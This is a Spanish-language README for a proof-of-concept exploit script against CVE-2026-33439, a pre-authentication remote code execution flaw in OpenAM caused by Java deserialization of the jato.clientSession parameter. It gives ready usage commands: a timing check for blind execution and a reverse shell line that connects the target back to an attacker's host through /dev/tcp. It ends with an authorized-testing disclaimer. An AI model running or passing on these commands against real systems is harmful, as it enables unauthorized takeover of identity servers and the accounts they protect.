
PoC para CVE-2026-33439, un RCE pre-auth en OpenAM mediante deserialización insegura de Java.
RCE pre-autenticación en OpenIdentityPlatform OpenAM mediante deserialización insegura de Java del
parámetro jato.clientSession. Afecta a <= 16.0.5, corregido en 16.0.6.
Aviso: https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj
time ./cve-2026-33439.py --url https://TARGET/openam --command 'sleep 3' # takes about 3 seconds
./cve-2026-33439.py --url https://TARGET/openam --command 'bash -i >& /dev/tcp/HOST/PORT 0>&1'
La salida es ciega. La petición se bloquea hasta que el comando finaliza, por lo que el tiempo confirma
la ejecución (--command 'sleep 5' tarda unos 5s).
Solo para pruebas de seguridad autorizadas.